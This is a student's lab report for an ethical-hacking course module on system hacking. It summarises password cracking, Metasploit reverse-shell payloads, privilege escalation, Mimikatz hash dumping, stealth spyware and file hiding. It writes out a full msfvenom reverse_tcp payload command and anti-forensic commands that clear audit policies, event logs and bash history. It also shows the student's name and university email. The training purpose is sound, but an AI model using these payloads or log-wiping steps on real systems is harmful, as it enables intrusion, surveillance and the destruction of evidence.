Module 06: system hacking LAB REPORT

Lara Alofi

Lab Session Identifiers

1. https://labclient.labondemand.com/LabClient/40a6ee64-ea63-4341-8db1-db5d184651eb?rc=10
2. https://labclient.labondemand.com/LabClient/3b2ad202-ecd3-4870-8f9a-b20ecf15d185?rc=10
3. https://labclient.labondemand.com/LabClient/ad668ffb-e1a9-4f7d-9f44-d93fae32efcb?rc=10

Username on EC-Council System

1. 2110886@uj.edu.sa

Lab1:

Task 1: Perform Active Online Attack to Crack the System's Password using Responder

1. **Understanding LLMNR and NBT-NS**: LLMNR and NBT-NS are essential services in Windows OSes used for name resolution. They can be exploited to extract password hashes from users.
2. **Using Responder for Active Attacks**: Responder is a tool used to respond to specific network queries and capture credentials from victim systems.
3. **Setting Up Responder**: Install and set up Responder on the attacker machine (Ubuntu). Grant necessary permissions to the Responder script and run it on the appropriate interface.
4. **Capturing Hashes**: Spoof the victim system (Windows 11) and capture credentials using Responder while the victim accesses network resources.
5. **Cracking Password Hashes**: Use tools like John the Ripper to crack the captured password hashes and reveal the plaintext passwords.
6. **Learning from the Task**: This task highlights the risk of default services in Windows and the importance of strong password policies.

Task 2: Audit System Passwords using L0phtCrack

1. **Introduction to L0phtCrack**: L0phtCrack is a password auditing tool used to assess password strength and recover lost passwords.
2. **Running L0phtCrack**: Launch L0phtCrack on the target system (Windows 11) and provide necessary credentials for auditing.
3. **Choosing Audit Type**: Select the appropriate audit type based on the requirements and preferences.
4. **Generating Reports**: Configure L0phtCrack to generate reports for auditing results and save them in desired locations.
5. **Interpreting Results**: Analyze the cracked passwords and identify weak password practices for mitigation.
6. **Lesson Learned**: The task underscores the importance of strong password policies and regular password audits for system security.

Task 3: Find Vulnerabilities on Exploit Sites

1. **Exploring Exploit Databases**: Understand the significance of exploit databases in identifying vulnerabilities in target systems.
2. **Using Exploit DB**: Access Exploit DB website and navigate through the interface to search for vulnerabilities.
3. **Performing Advanced Searches**: Utilize advanced search options to narrow down vulnerability results based on specific criteria.
4. **Accessing Detailed Information**: Review detailed information about identified vulnerabilities, including CVE IDs, platforms, and exploit codes.
5. **Downloading Exploits**: Download relevant exploit codes for further analysis and exploitation.
6. **Takeaway**: Exploit sites serve as valuable resources for understanding and mitigating vulnerabilities in target systems.

Task 4: Exploit Client-Side Vulnerabilities and Establish a VNC Session

1. **Understanding VNC and Exploitation**: Recognize the potential of client-side vulnerabilities to gain unauthorized access to target systems via VNC.
2. **Creating Malicious Payload**: Generate a malicious executable using msfvenom for exploitation purposes.
3. **Sharing Malicious Payload**: Share the malicious file with the target system using methods like file sharing or email attachments.
4. **Exploiting with Metasploit**: Utilize Metasploit to exploit the vulnerability and establish a Meterpreter session on the target system.
5. **Running Privilege Escalation Checks**: Conduct privilege escalation checks using tools like PowerSploit to identify additional vulnerabilities.
6. **Establishing VNC Session**: Exploit VNC vulnerability to gain remote access to the target system and observe user activities.
7. **Key Takeaways**: The task underscores the importance of patch management, client-side security, and proactive vulnerability assessments in network defense.

Task 5: Gain Access to a Remote System using Armitage
Step-by-Step Guide:

1. **Introduction to Armitage**: Armitage is a tool that facilitates collaboration and visualization within the Metasploit framework. It helps in recommending exploits, visualizing targets, and managing post-exploitation activities.
2. **Setting Up Host and Target Machines**: Identify the host (Parrot Security) and target (Windows 11) machines with their respective IP addresses.

3. **Launching Armitage**: Access Armitage from the Pentesting tools menu on Parrot Security.
4. **Starting Services**: Ensure PostgreSQL service is running by executing **service postgresql start**.
5. **Connecting to Armitage**: Launch Armitage and connect by providing the appropriate password (default is 'toor').
6. **Scanning for Live Hosts**: Initiate an intense scan (Nmap) to detect live hosts in the network. Input the IP address of the target machine (Windows 11).
7. **Selecting Payload**: Choose a suitable payload for exploitation, such as meterpreter_reverse_tcp.
8. **Configuring Payload**: Adjust the port value and output format for the payload, and then launch it.
9. **Saving Payload**: Save the payload as 'malicious_payload.exe' to the desktop.
10. **Sharing Payload**: Copy the payload to a shared directory accessible by the target machine.
11. **Starting Apache Server**: Begin the Apache server to host the shared payload.
12. **Executing Payload**: Access the shared directory from the target machine (Windows 11) via a web browser and download the payload.
13. **Running Payload**: Execute the downloaded payload on the target machine.
14. **Accessing Target System**: Verify successful exploitation by observing session creation in Armitage.
15. **Exploring Target System**: Utilize various features in Armitage to explore the compromised system, such as browsing files, capturing screenshots, and exploring processes.

16. **Concluding and Documenting**: Close all open windows and document the acquired information for analysis and further action.

Learning Outcomes:

- Understanding of the role of Armitage in facilitating penetration testing tasks.
- Familiarity with scanning, payload selection, and exploitation processes.
- Experience in post-exploitation activities and system exploration using Armitage.

Task 6: Gain Access to a Remote System using Ninja Jonin

Step-by-Step Guide:

1. **Introduction to Ninja Jonin**: Ninja Jonin facilitates remote access to a target machine from an attacker-controlled machine.
2. **Setup Host and Target Machines**: Identify the host (Windows 11) and target (Windows Server 2022) machines.
3. **Copying Necessary Files**: Copy Jonin and Ninja files to the host machine's desktop.
4. **Configuration of Ninja Tool**: Configure Jonin by modifying constants.json with target machine details.
5. **Creating Zip File**: Create a zip file containing Jonin and Ninja files.
6. **Starting Listener**: Initiate a listener on the host machine.
7. **Sending Malicious File**: Upload the zip file to the target machine.
8. **Executing Malicious File**: Extract and execute the malicious file on the target machine.
9. **Connecting with Jonin**: Establish a connection with the attacker-controlled machine using Jonin.
10. **Performing Actions**: Execute various commands and actions on the target machine remotely.

11. **Exploring Commands**: Explore available commands and functionalities provided by Ninja Jonin.
12. **Concluding and Documenting**: Close all open windows and document acquired information for further analysis.

Learning Outcomes:

- Understanding of Ninja Jonin's role in remote system access.
- Hands-on experience in configuring and executing remote access tools.
- Familiarity with remote command execution and system interaction using Ninja Jonin.

Task 7: Perform Buffer Overflow Attack to Gain Access to a Remote System

Step-by-Step Guide:

1. **Understanding Buffer Overflow**: Buffer overflow is a vulnerability exploited by attackers to inject malicious code into a target system.
2. **Setting Up Host and Target Machines**: Identify the host (Parrot Security) and target (Windows 11) machines.
3. **Launching Vulnerable Server**: Run the vulnerable server (vulnserver) on the target machine.
4. **Launching Immunity Debugger**: Install and run Immunity Debugger on the host machine.
5. **Attaching Vulnerable Server**: Attach the vulnserver process to Immunity Debugger for monitoring.
6. **Performing Spiking**: Use spike templates to identify functions vulnerable to buffer overflow.
7. **Identifying Vulnerable Functions**: Determine functions susceptible to buffer overflow exploitation.
8. **Performing Fuzzing**: Send a large amount of data to the target server to trigger buffer overflow.

9. **Identifying Bad Characters**: Identify characters that may cause issues in the shellcode.
10. **Generating Random Bytes**: Use pattern_create.rb to generate random bytes of data.
11. **Identifying Offset**: Determine the offset at which the EIP register is overwritten.
12. **Overwriting EIP Register**: Develop and execute scripts to overwrite the EIP register.
13. **Identifying Bad Characters**: Identify characters that may cause issues in the shellcode.
14. **Injecting Shellcode**: Inject malicious shellcode to gain control over the target system.
15. **Concluding and Documenting**: Close all open windows and document the acquired information for further analysis.

Learning Outcomes:

- Understanding of buffer overflow vulnerabilities and exploitation techniques.
- Proficiency in using tools like Immunity Debugger and Metasploit for penetration testing.
- Experience in identifying vulnerable functions and injecting malicious code for system access.

Lab2:

Task 1: Escalate Privileges using Privilege Escalation Tools and Exploit Client-Side Vulnerabilities

1. **Introduction to Privilege Escalation Tools and Client-Side Vulnerabilities:**

- Privilege escalation tools like BeRoot and GhostPack Seatbelt are used to assess system configurations and exploit vulnerabilities.
- Exploiting client-side vulnerabilities involves executing commands on a target machine to gain higher privileges.

2. **Preparation:**
    - Set up Parrot Security (10.10.1.13) as the host and Windows 11 (10.10.1.11) as the target machine.
    - Open a Terminal in Parrot Security and switch to root user.
3. **Generate Malicious Payload:**
    - Use **msfvenom** to create a malicious executable named "Exploit.exe" targeting Windows.
    - Save the payload on the desktop of Parrot Security.
4. **Share the Payload:**
    - Copy the payload to a shared folder accessible by the target machine.
    - Start the Apache server to share the payload via HTTP.
5. **Launch Metasploit and Handle Exploits:**
    - Open Metasploit in Parrot Security.
    - Set up the exploit handler and payload for the Meterpreter session.
6. **Exploit the Target:**
    - Access the shared folder containing the payload from the Windows 11 machine.
    - Download and execute the malicious file.
7. **Gain Access with Meterpreter:**
    - Observe the successful opening of the Meterpreter session.
    - Verify the user ID and privileges using Meterpreter commands.
8. **Privilege Escalation with BeRoot:**

- Copy BeRoot tool to the target machine using Meterpreter.
- Execute BeRoot to assess system vulnerabilities and potential privilege escalations.

9. **Use Seatbelt for Security Checks:**
    - Copy GhostPack Seatbelt tool to the target machine.
    - Run Seatbelt to gather host information and identify security weaknesses.
10. **Bypass User Account Control (UAC):**
    - Attempt to bypass UAC settings using Metasploit's bypassuac_fodhelper exploit.
    - Execute the exploit and escalate privileges.
11. **Verify Privilege Escalation:**
    - Confirm privilege escalation by attempting actions that require admin privileges.
    - Use Meterpreter to clear event logs and perform other privileged operations.
12. **Conclusion and Cleanup:**
    - Close all open sessions and documents.
    - Restart Parrot Security to reset the environment.

Key Learnings:

- Understand how privilege escalation tools and client-side vulnerabilities can be used in penetration testing.
- Learn the process of creating and sharing malicious payloads.
- Gain insights into Metasploit usage for exploit handling and post-exploitation tasks.
- Recognize methods for privilege escalation and security checks on target systems.

Task 2: Hack a Windows Machine using Metasploit and Perform Post-Exploitation using Meterpreter

1. **Introduction to Metasploit and Meterpreter:**
    - Metasploit Framework is a powerful tool for developing and executing exploit code.
    - Meterpreter provides an interactive shell for post-exploitation tasks.
2. **Preparation:**
    - Restart the Windows 11 machine and log in as Admin with the password "Pa$$w0rd".
3. **Create Malicious Payload:**
    - Generate a malicious executable named "Backdoor.exe" using **msfvenom**.
4. **Share the Payload:**
    - Copy the payload to a shared folder accessible by the target machine.
    - Start the Apache server to share the payload via HTTP.
5. **Launch Metasploit and Handle Exploits:**
    - Set up the exploit handler and payload for the Meterpreter session.
6. **Exploit the Target:**
    - Download and execute the malicious file on the Windows 11 machine.
7. **Perform Post-Exploitation Tasks:**
    - Use Meterpreter to gather system information such as computer name, OS, and IP address.
    - Explore directories, read files, and manipulate MACE attributes.
    - Perform keylogging, check system services, firewall configurations, and software details.
8. **Conclusion and Cleanup:**
    - Close all sessions and documents.

- Restart Parrot Security and Windows 11 machines to reset the environment.

Key Learnings:

- Understand the process of hacking Windows machines using Metasploit.
- Learn about post-exploitation tasks using Meterpreter.
- Gain practical experience in exploring system details, manipulating files, and checking system configurations after successful exploitation.

Task 3: Escalate Privileges by Exploiting Vulnerability in pkexec

1. **Understanding Polkit (Policykit) and pkexec Vulnerability:**
    - Polkit is an authorization API used by programs to elevate permissions.
    - pkexec vulnerability allows unprivileged users to gain root privileges.
2. **Analyzing pkexec.c Code:**
    - Identifying parameters in pkexec.c that mishandle command calling.
3. **Exploiting CVE-2021-4034 Vulnerability:**
    - Transferring proof of concept code to the target system.
    - Compiling the exploit code.
    - Executing the exploit code to gain root access.
4. **Learning from the Task:**
    - Understanding how vulnerabilities in system components like pkexec can lead to privilege escalation.
    - Realizing the importance of patching vulnerabilities promptly.
    - Recognizing the significance of understanding how attackers exploit vulnerabilities to gain unauthorized access.

Task 4: Escalate Privileges in Linux Machine by Exploiting Misconfigured NFS

1. **Understanding Network File System (NFS):**
    - NFS allows remote file access over a network.
    - Misconfigurations in NFS can lead to unauthorized access.
2. **Configuring NFS:**
    - Installing and configuring NFS server on the victim machine.
    - Editing **/etc/exports** file to share directories.
3. **Exploiting Misconfigured NFS:**
    - Scanning the target machine for open ports and services.
    - Mounting the NFS share on the attacker's machine.
    - Exploiting the misconfigured NFS to gain access to sensitive files.
4. **Learning from the Task:**
    - Understanding the risks associated with misconfigured network services like NFS.
    - Learning to identify and exploit misconfigurations to gain unauthorized access.
    - Emphasizing the importance of securing network services and configurations.

Task 5: Escalate Privileges by Bypassing UAC and Exploiting Sticky Keys

1. **Understanding Sticky Keys Feature:**
    - Sticky keys aid users with accessibility issues by keeping modifier keys active.
    - Exploiting sticky keys for unauthenticated privileged access.
2. **Exploiting Sticky Keys:**
    - Generating and hosting a malicious payload.
    - Setting up a listener for reverse TCP connection.

- Downloading and executing the payload on the target Windows machine.
- Bypassing UAC using Metasploit modules.
- Exploiting the Sticky Keys feature to gain persistent system-level access.

3. **Learning from the Task:**
    - Recognizing the potential risks associated with accessibility features like Sticky Keys.
    - Understanding how attackers exploit system features and vulnerabilities for privilege escalation.
    - Learning to bypass security mechanisms like UAC to gain elevated privileges.

Task 6: Escalate Privileges to Gather Hashdump using Mimikatz

1. **Understanding Mimikatz and Hashdump:**
    - Mimikatz is a post-exploitation tool for harvesting authentication credentials.
    - Hashdump extracts password hashes from memory.
2. **Exploiting with Mimikatz:**
    - Generating a malicious payload using msfvenom.
    - Hosting the payload on a shared directory accessible to the target.
    - Using Metasploit to establish a reverse TCP connection.
    - Bypassing UAC to gain system-level privileges.
    - Dumping hashes using Mimikatz and modifying passwords.
    - Testing the modified passwords to verify privilege escalation.
3. **Learning from the Task:**
    - Understanding the capabilities of post-exploitation tools like Mimikatz.

- Recognizing the significance of protecting sensitive data stored as password hashes.
- Learning to manipulate system credentials for privilege escalation.

These tasks demonstrate the importance of understanding system vulnerabilities, misconfigurations, and the methods attackers use to exploit them for unauthorized access and privilege escalation. It underscores the necessity of robust security measures and prompt patching to mitigate such risks

Lab3:

Task 1: User System Monitoring and Surveillance using Power Spy

1. **Understanding Employee Monitoring**: Recognize the importance of monitoring employee activities for productivity and security purposes while balancing privacy concerns and legal considerations.
2. **Introduction to Power Spy**: Explore Power Spy as a computer activity monitoring tool that operates stealthily to log user activities on a PC.
3. **Target Machines and Remote Connection**: Identify the host (Windows Server 2022) and target (Windows Server 2019) machines. Understand the necessity of remote connection to the target machine.
4. **Privilege Escalation and Hash Dumping**: Recall the technique of privilege escalation and password hash dumping for gaining access to the target system.

5. **Installation and Stealth Mode Activation**: Install Power Spy on the target system and activate stealth mode to ensure discreet monitoring of user activities.
6. **Legitimate User Activities**: Simulate legitimate user activities on the target system to demonstrate the functionality of Power Spy in capturing user behavior.
7. **Monitoring and Analysis**: Retrieve logs and monitor user activities using Power Spy Control Panel, including websites visited, applications executed, and screenshots captured.
8. **Uninstallation and Cleanup**: Properly uninstall Power Spy from the target system and ensure all acquired information is documented.

Learning Points:

- Understanding the balance between employee monitoring and privacy rights.
- Hands-on experience with deploying and configuring Power Spy for user system monitoring.
- Practical knowledge of privilege escalation, password dumping, and remote desktop connections.
- Insight into the capabilities and limitations of monitoring software like Power Spy.

Task 2: User System Monitoring and Surveillance using Spytech SpyAgent

1. **Introduction to Spytech SpyAgent**: Familiarize with Spytech SpyAgent as a comprehensive computer monitoring tool offering stealth mode operation and various monitoring features.
2. **Target Machines and Remote Connection**: Identify host and target machines and establish a remote connection to the target system for installation.

3. **Installation and Configuration**: Install Spytech SpyAgent on the target system, configure settings, and activate stealth mode for covert monitoring.
4. **Legitimate User Activities**: Perform user activities on the target system to demonstrate Spytech SpyAgent's monitoring capabilities.
5. **Monitoring and Analysis**: Access and analyze logged data, including keystrokes, screenshots, website usage, and event timelines using Spytech SpyAgent.
6. **Exploration of Spyware Tools**: Introduce other spyware tools for system monitoring and surveillance.
7. **Cleanup and Documentation**: Uninstall Spytech SpyAgent from the target system and document all acquired information.

Learning Points:

- Understanding the functionalities and features of Spytech SpyAgent.
- Hands-on experience with installing, configuring, and using Spytech SpyAgent for user monitoring.
- Familiarity with monitoring various user activities and analyzing logged data.
- Awareness of alternative spyware tools for system monitoring and surveillance.

Task 3: Hide Files using NTFS Streams

1. **Understanding NTFS Streams**: Learn about NTFS streams and their role in hiding files within the NTFS file system.
2. **Preparation and Setup**: Access the target system (Windows Server 2019) and ensure the file system is NTFS formatted.
3. **Creating Hidden Files**: Create a new folder, copy files, and create text files to hide malicious content using NTFS streams.

4. **Execution and Demonstration**: Execute commands to hide and access files using NTFS streams, demonstrating how attackers may conceal malicious files from detection.
5. **Practical Application**: Explore real-world scenarios where attackers may utilize NTFS streams to hide and execute malicious files.
6. **Cleanup and Documentation**: Remove hidden files and document the process for future reference.

Learning Points:

- Understanding the concept and application of NTFS streams for hiding files.
- Practical demonstration of creating and accessing hidden files using NTFS streams.
- Awareness of security implications and potential misuse of NTFS streams for malicious purposes.
- Hands-on experience with executing commands and manipulating file attributes within the NTFS file system.

Task 4: Hide Data using White Space Steganography

1. **Understanding Steganography**: Acknowledge the significance of steganography in hiding data within various file types to facilitate covert communication without detection.
2. **Introduction to Whitespace Steganography**: Comprehend whitespace steganography as a method to conceal messages within ASCII text by utilizing white spaces at the end of lines, making it imperceptible to casual observers.
3. **Using Snow Tool**: Recognize Snow as a steganography tool for whitespace steganography, capable of concealing messages in text files by adding tabs and spaces to the end of lines.

4. **Preparation**: Navigate to the designated directory containing the Snow tool and copy it to the Desktop for easy access.
5. **Creating Text File**: Generate a text file (readme.txt) containing the message to be hidden, followed by formatting the file with a dashed line.
6. **Accessing Command Prompt**: Open the Command Prompt by searching for it on the Desktop and navigate to the Snow directory.
7. **Hiding Data**: Use the Snow tool with appropriate commands (-C for concealment, -m for the message, -p for the password) to hide the desired data from readme.txt into readme2.txt.
8. **Verification**: Validate the successful concealment of the message within readme2.txt by utilizing the Snow tool to extract the hidden content.
9. **Visual Verification**: Open readme2.txt in Notepad and select all to observe the hidden data represented by spaces and tabs.
10. **Conclusion**: Conclude the process of hiding data using whitespace steganography, emphasizing its covert nature and potential applications in clandestine communication.

Learning Points:

- Steganography conceals information effectively within various file formats, posing challenges to detection.
- Whitespace steganography relies on hiding messages within ASCII text using spaces and tabs, rendering them invisible to casual observation.
- Snow tool facilitates whitespace steganography by concealing messages within text files through the manipulation of spaces and tabs.

- The process involves preparation, message creation, command prompt operation, data hiding, verification, and visual confirmation.
- Understanding the intricacies of whitespace steganography enhances knowledge of covert communication techniques, essential for ethical hackers and penetration testers.

Task 5:
Task 6: Maintain Persistence by Abusing Boot or Logon Autostart Execution

Understanding Startup Folder: The startup folder in Windows executes application shortcuts upon booting, enabling users to maintain persistence or escalate privileges through misconfigured settings.

Launching Parrot Security Terminal: Open the Parrot Security machine and initiate a Terminal window.

Elevating Privileges: Gain root access by typing sudo su and entering the password 'toor' when prompted.

Navigating to Root Directory: Move to the root directory by typing cd.

Creating Malicious Payload: Use msfvenom to craft a payload: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/exploit.exe.

Setting Up Shared Folder: Create and configure a shared folder /var/www/html/share with appropriate permissions.

Copying Payload to Shared Folder: Copy the payload to the shared folder: cp /home/attacker/Desktop/exploit.exe /var/www/html/share/.

Starting Apache Server: Activate the Apache server with service apache2 start.

Launching Metasploit Framework: Open Metasploit with msfconsole command.

Configuring Exploit and Payload: Set up the exploit and payload for the listener.

Starting the Listener: Run the exploit and payload with the command run in Metasploit.

Downloading Payload: Access the shared folder from the victim Windows 11 machine's browser by visiting http://10.10.1.13/share.

Executing Payload: Download and execute the exploit.exe file from the shared folder.

Opening Meterpreter Session: Confirm the successful execution of the payload by observing the opened Meterpreter session.

Bypassing User Account Control (UAC): Background the current session and bypass UAC using the FodHelper Registry Key.

Exploring Persistence: Exploit the misconfigured Startup folder by creating a payload, uploading it, and executing it upon system restart.

Verifying Persistence: Confirm the establishment of persistence by observing the Meterpreter session upon system restart.

Key Learnings:

Exploiting misconfigured startup folders can lead to privilege escalation and persistence.
Understanding how to craft and deploy malicious payloads.
Bypassing UAC settings enhances access and control over the target system.
Leveraging Metasploit and Meterpreter for remote exploitation and control.

Lab4:

Task 1: Audit Policy Management with Auditpol

1. **Steps:**
    - Open Command Prompt as administrator.
    - Use **auditpol /get /category:*** to view current audit policies.
    - Enable specific audit policies using **auditpol /set /category:"system","account logon" /success:enable /failure:enable**.
    - Verify enabled policies with **auditpol /get /category:***.
    - Clear audit policies with **auditpol /clear /y**.
    - Confirm cleared policies with **auditpol /get /category:***.
2. **Learnings:**
    - Understanding how to manage and manipulate audit policies using Auditpol.
    - Importance of enabling and clearing audit policies for security monitoring purposes.

Task 2: Clearing Windows Logs with Diverse Utilities

1. **Steps:**
    - Run Clear_Event_Viewer_Logs.bat to clear event logs.
    - Use **wevtutil el** to list event logs and **wevtutil cl [log_name]** to clear specific logs.
    - Overwrite deleted files with **cipher /w:[Drive or Folder or File Location]**.
    - Stop encryption process when necessary.
2. **Learnings:**
    - Utilizing various utilities to clear logs and event records effectively.
    - Understanding the importance of securely deleting and overwriting sensitive data.

Task 3: Linux Log Clearance via BASH Shell

1. **Steps:**

- Disable history with **export HISTSIZE=0**.
- Clear stored history using **history -c**.
- Shred history file with **shred ~/.bash_history**.
- View shredded history content with **more ~/.bash_history**.
- Stop viewing shredded history with **ctrl+z**.

2. **Learnings:**
   - Clearing command history to prevent tracing and tracking of activities.
   - Shredding history files for enhanced data security and privacy.

Task 4: Artifacts Concealment in Windows and Linux

1. **Steps (Windows):**
   - Hide directories using **attrib +h +s +r [Directory Name]**.
   - Unhide directories using **attrib -s -h -r [Directory Name]**.
   - Manage user accounts with **net user [Username] /add** and **/active:[yes or no]**.
2. **Steps (Linux):**
   - Create hidden files or directories using **.filename**.
   - View hidden files with **ls -al**.
3. **Learnings:**
   - Concealing directories and user accounts to avoid detection.
   - Understanding methods for hiding artifacts in both Windows and Linux environments.

Task 5: Windows Log Clearance with CCleaner

1. **Steps:**
   - Download and install CCleaner.
   - Use CCleaner's Health Check or Custom Clean options to clear logs and browser traces.
   - Monitor progress and confirm completion of cleaning process.
2. **Learnings:**
   - Utilizing third-party tools like CCleaner for comprehensive log clearance.
   - Understanding the importance of regular system maintenance for data security and privacy.

Overall, the lab provided practical insights into managing audit policies, clearing logs using various utilities, concealing artifacts, and leveraging tools for efficient log clearance, enhancing understanding of security measures and data privacy practices.